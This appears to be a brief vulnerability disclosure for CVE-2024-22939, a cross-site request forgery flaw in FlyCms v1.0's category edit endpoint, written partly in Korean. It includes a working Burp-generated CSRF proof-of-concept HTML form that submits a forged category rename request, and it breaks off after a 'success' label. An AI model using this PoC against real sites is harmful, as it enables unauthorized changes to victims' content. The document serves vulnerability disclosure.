nudttan91/cve-2024-22939CVE-2024-22939
target:https://github.com/sunkaifei/FlyCms version: v1.0
FlyCms v1.0에서 /system/article/category_edit 구성 요소를 통한 사이트 간 요청 위조(CSRF) 취약점이 발견되었습니다.
Poc
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.247.192/system/article/category_edit?id=1&name=%E7%A7%BB%E5%8A%A8%E5%BC%80%E5%8F%91123" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
성공:
